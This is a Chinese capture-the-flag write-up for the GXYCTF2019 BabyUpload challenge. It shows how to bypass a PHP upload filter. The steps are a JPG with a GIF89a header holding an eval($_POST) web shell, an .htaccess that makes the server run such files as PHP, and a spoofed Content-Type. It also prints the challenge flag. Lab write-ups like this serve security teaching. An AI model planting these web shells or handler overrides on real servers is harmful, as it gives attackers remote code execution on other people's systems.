【.htaccess文件上传】GXYCTF2019 BabyUpload WriteUp

题目链接:

原题链接:BUUCTF (buuoj.cn)

场景链接:http://358ed94a-a0dc-41b4-aeef-3300c234e27c.node3.buuoj.cn

WriteUp:

打开题目,是一个上传文件页面

image-20210522151223815

尝试上传最简单的马子

image-20210522151421386

直接被waf掉了,回显显示后缀名不能有ph!,也就是说,phtml也不行

尝试是否可以用大小写过掉waf

image-20210522151556245

也是不行的

尝试上传jpg图片,然后再上传.htaccess文件,使网站能用PHP解析JPG图片

首先上传JPG的小马子,内容如下

1
2
3
4
GIF89a
<script language="php">
@eval($_POST['a']);
</script>

显示上传成功

image-20210522152105535

然后上传.htaccess,内容如下

1
SetHandler application/x-httpd-php

bp中修改参数

image-20210522152257281

回显上传类型太露骨,猜测是服务端对Content-Type类型进行了校验

image-20210522152325448

重新上传上传.htaccess,内容如下

1
SetHandler application/x-httpd-php

bp中修改参数,将Content-Type参数的值修改为image/jpeg

image-20210522152516322

上传成功,使用菜刀连接

image-20210522152606698

连接成功,flag在根目录下

image-20210522152741349

flag为:flag{3ad29a02-c883-4784-bc92-ecbb94cec5da}

附:

题目还对文件的内容进行了校验,例如上传一个文件名为:shell.jpg,文件内容如下

1
2
3
<?php
@eval($_POST['a']);
?>

这个时候上传,回显如下

image-20210522153022903

因此在文件前加上GIF89a,然后用js写马子,使文件内容修改为下方内容,即可绕过

1
2
3
4
GIF89a
<script language="php">
@eval($_POST['a']);
</script>